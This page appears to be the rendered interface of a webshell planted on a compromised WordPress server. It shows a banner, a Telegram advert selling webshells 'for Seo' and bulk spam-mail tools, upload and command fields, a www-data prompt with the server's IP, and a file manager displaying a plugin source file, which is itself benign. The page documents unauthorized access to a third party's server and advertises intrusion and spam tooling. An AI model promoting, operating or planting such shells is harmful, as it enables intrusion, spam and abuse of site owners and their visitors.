__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.21: ~ $
<?php

namespace WP_Statistics\Service\Admin;

class AddOnsFactory
{
    private static $optionMap = [
        'wp-statistics-advanced-reporting' => 'wpstatistics_advanced_reporting_settings',
        'wp-statistics-customization'      => 'wpstatistics_customization_settings',
        'wp-statistics-widgets'            => 'wpstatistics_widgets_settings',
        'wp-statistics-realtime-stats'     => 'wpstatistics_realtime_stats_settings',
        'wp-statistics-mini-chart'         => 'wpstatistics_mini_chart_settings',
        'wp-statistics-rest-api'           => 'wpstatistics_rest_api_settings',
        'wp-statistics-data-plus'          => 'wpstatistics_data_plus_settings',
    ];

    public static function get()
    {
        $licenseDecorator = [];

        foreach (self::getFromRemote() as $addOn) {
            $licenseDecorator[] = new AddOnDecorator($addOn);
        }

        return $licenseDecorator;
    }

    private static function getFromRemote()
    {
        $addOnsRemoteUrl = WP_STATISTICS_SITE . '/wp-json/plugin/addons';
        $response        = wp_remote_get($addOnsRemoteUrl, ['timeout' => 35]);

        if (is_wp_error($response)) {
            return [];
        }

        if (200 != wp_remote_retrieve_response_code($response)) {
            return [];
        }

        $response = json_decode($response['body']);

        if (isset($response->items)) {
            return $response->items;
        }
    }

    public static function getSettingNameByKey($key)
    {
        if (self::$optionMap[$key]) {
            return self::$optionMap[$key];
        }
    }

    public static function getLicenseTransientKey($key)
    {
        return $key . '_license_response';
    }
}

Filemanager

Name Type Size Permission Actions
AddOnDecorator.php File 4.94 KB 0644
AddOnsFactory.php File 1.68 KB 0644
Filemanager